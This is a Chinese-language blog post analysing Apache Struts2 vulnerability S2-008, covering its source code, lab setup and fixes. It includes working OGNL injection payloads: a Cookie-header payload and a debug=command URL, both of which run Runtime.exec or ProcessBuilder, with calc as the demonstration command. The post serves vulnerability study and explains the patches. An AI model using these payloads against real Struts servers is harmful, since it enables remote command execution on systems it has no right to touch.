前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

S2-008 实际上是多个漏洞的合集。


S2-008-01

官方描述

Remote command execution in Struts <= 2.2.3 (ExceptionDelegator)
When an exception occurs while applying parameter values to properties, the value is evaluated as an OGNL expression. For example, this occurs when setting a string value to an integer property. Since the values are not filtered an attacker can abuse the power of the OGNL language to execute arbitrary Java code leading to remote command execution. This issue has been reported (https://issues.apache.org/jira/browse/WW-3668) and was fixed in Struts 2.2.3.1. However the ability to execute arbitrary Java code has been overlooked.

其实就是 S2-007。

S2-008-02

官方描述

Remote command execution in Struts <= 2.3.1 (CookieInterceptor)
The character whitelist for parameter names is not applied to the CookieInterceptor. When Struts is configured to handle cookie names, an attacker can execute arbitrary system commands with static method access to Java functions. Therefore the flag allowStaticMethodAccess can be set to true within the request.

看描述跟 S2-003/S2-005 的触发机制类似(指触发点都在变量名),不过触发点不在 ParametersInterceptor 而在没有加上 CookieInterceptor。

环境搭建

2.2.3.1 版本 struts2 + tomcat6,再给 action 加上 cookie 配置:

<interceptor-ref name="cookie">
    <param name="cookiesName">*</param>
    <param name="cookiesValue">*</param>
</interceptor-ref>

漏洞分析

首先是 CookieInterceptor 类的 intercept 方法:

public String intercept(ActionInvocation invocation) throws Exception {
    ...

    // contains selected cookies
    final Map<String, String> cookiesMap = new LinkedHashMap<String, String>();

    Cookie[] cookies = ServletActionContext.getRequest().getCookies();
    if (cookies != null) {
        final ValueStack stack = ActionContext.getContext().getValueStack();

        for (Cookie cookie : cookies) {
            String name = cookie.getName();
            String value = cookie.getValue();

            if (cookiesNameSet.contains("*")) {
                ...
                populateCookieValueIntoStack(name, value, cookiesMap, stack);
            } else if (cookiesNameSet.contains(cookie.getName())) {
                populateCookieValueIntoStack(name, value, cookiesMap, stack);
            }
        }
    }

    // inject the cookiesMap, even if we don't have any cookies
    injectIntoCookiesAwareAction(invocation.getAction(), cookiesMap);

    return invocation.invoke();
}

检查文件中配置的 cookie name 之后调用 populateCookieValueIntoStack:

protected void populateCookieValueIntoStack(String cookieName, String cookieValue, Map<String, String> cookiesMap, ValueStack stack) {
    if (cookiesValueSet.isEmpty() || cookiesValueSet.contains("*")) {
        // If the interceptor is configured to accept any cookie value
        // OR
        // no cookiesValue is defined, so as long as the cookie name match
        // we'll inject it into Struts' action
        ...
        cookiesMap.put(cookieName, cookieValue);
        stack.setValue(cookieName, cookieValue);
    }
    else {
        // if cookiesValues is specified, the cookie's value must match before we
        // inject them into Struts' action
        if (cookiesValueSet.contains(cookieValue)) {
            ...
            cookiesMap.put(cookieName, cookieValue);
            stack.setValue(cookieName, cookieValue);
        }
    }
}

调用 stack.setValue 之后:

public void setValue(String expr, Object value) {
    setValue(expr, value, devMode);
}

public void setValue(String expr, Object value, boolean throwExceptionOnFailure) {
    Map<String, Object> context = getContext();
    try {
        trySetValue(expr, value, throwExceptionOnFailure, context);
    } 
    ...
}

private void trySetValue(String expr, Object value, boolean throwExceptionOnFailure, Map<String, Object> context) throws OgnlException {
    ...
    ognlUtil.setValue(expr, context, root, value);
}

public void setValue(String name, Map<String, Object> context, Object root, Object value) throws OgnlException {
    Ognl.setValue(compile(name), context, root, value);
}
....

将 cookieName 作为一个表达式进行了求值,触发了漏洞。

漏洞利用

Tomcat 对 cookie name 有很多限制,所以这个漏洞相对十分鸡肋,需要低版本的 Tomcat,payload 如下:

Cookie: ('#_memberAccess.setAllowStaticMethodAccess(true)')(1)(2)=Aluvion; ('@java.lang.Runtime@getRuntime().exec("calc")')(1)(2)=Twings; 

漏洞修复

2.3.3 版本的修复,给 CookieInterceptor 也加上了类似 ParametersInterceptor 的正则表达式限制:

private static final String ACCEPTED_PATTERN = "[a-zA-Z0-9\\.\\]\\[_'\\s]+";
private Pattern acceptedPattern = Pattern.compile(ACCEPTED_PATTERN);

if (acceptedPattern.matcher(name).matches()) {
    ...
}

S2-008-03

官方描述

Arbitrary File Overwrite in Struts <= 2.3.1 (ParameterInterceptor)
While accessing the flag allowStaticMethodAccess within parameters is prohibited since Struts 2.2.3.1 an attacker can still access public constructors with only one parameter of type String to create new Java objects and access their setters with only one parameter of type String. This can be abused in example to create and overwrite arbitrary files. To inject forbidden characters into a filename an uninitialized string property can be used.

听说是 S2-009 的前身,那就之后再研究。

S2-008-04

官方描述

Remote command execution in Struts <= 2.3.17 (DebuggingInterceptor)
While not being a security vulnerability itself, please note that applications running in developer mode and using the DebuggingInterceptor are prone to remote command execution as well. While applications should never run in developer mode during production, developers should be aware that doing so not only has performance issues (as documented) but also a critical security impact.

简单来说就是开启了调试模式,但是调试模式中存在 OGNL 表达式注入漏洞,也挺鸡肋的。

环境搭建

2.3.14.2 版本的 struts2 + Tomcat 9,然后在 struts.xml 中加上一句:

<constant name="struts.devMode" value="true" />

漏洞利用

2.3.14.1 版本之后设置了 allowStaticMethodAccess 不可修改:

private final boolean allowStaticMethodAccess;

不过可以采用反射:

http://localhost:8080/login.action?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')

或者用 java.lang.ProcessBuilder:

(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

漏洞分析

按照官方描述,找到 DebuggingInterceptor 类,先注意到几个字符串变量:

private final static String XML_MODE = "xml";
private final static String CONSOLE_MODE = "console";
private final static String COMMAND_MODE = "command";
private final static String BROWSER_MODE = "browser";

private final static String SESSION_KEY = "org.apache.struts2.interceptor.debugging.VALUE_STACK";

private final static String DEBUG_PARAM = "debug";
private final static String OBJECT_PARAM = "object";
private final static String EXPRESSION_PARAM = "expression";
private final static String DECORATE_PARAM = "decorate";

然后观察 intercept 方法,在开启了 devMode 的情况下,会从 GET 传参中获取 debug 参数:

String type = getParameter(DEBUG_PARAM);

然后进行判断,如果是 command:

else if (COMMAND_MODE.equals(type)) {
    ValueStack stack = (ValueStack) ctx.getSession().get(SESSION_KEY);
    if (stack == null) {
        //allows it to be embedded on another page
        stack = (ValueStack) ctx.get(ActionContext.VALUE_STACK);
        ctx.getSession().put(SESSION_KEY, stack);
    }
    String cmd = getParameter(EXPRESSION_PARAM);

    ServletActionContext.getRequest().setAttribute("decorator", "none");
    HttpServletResponse res = ServletActionContext.getResponse();
    res.setContentType("text/plain");

    try {
        PrintWriter writer =
        ServletActionContext.getResponse().getWriter();
        writer.print(stack.findValue(cmd));
        writer.close();
    } catch (IOException ex) {
        ex.printStackTrace();
    }
    cont = false;
}

从 GET 传参中获取 expression 参数,然后作为表达式进行了解析。

漏洞修复

2.3.20 版本的修复,SecurityMemberAccess 中有一个 isAccessible 方法,里面有一个方法 isClassExcluded,在调用方法时会检测调用方法的类和定义方法的类:

if (isClassExcluded(target.getClass(), member.getDeclaringClass())) {
    if (LOG.isWarnEnabled()) {
        LOG.warn("Target class [#0] or declaring class of member type [#1] are excluded!", target, member);
    }
    return false;
}

protected boolean isClassExcluded(Class<?> targetClass, Class<?> declaringClass) {
    if (targetClass == Object.class || declaringClass == Object.class) {
        return true;
    }
    for (Class<?> excludedClass : excludedClasses) {
        if (targetClass.isAssignableFrom(excludedClass) || declaringClass.isAssignableFrom(excludedClass)) {
            return true;
        }
    }
    return false;
}

限制了定义方法的类不能是 Object,所以反射的 getClass 就不能用了,之后则是一个黑名单过滤,具体是什么可以调试看看,里面包括了 Runtime、Object、Class 等类和接口,所以 new 一个实例的时候也会触发黑名单。


参考文章:

https://www.freebuf.com/articles/web/25337.html


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-009
struts2系列漏洞 S2-007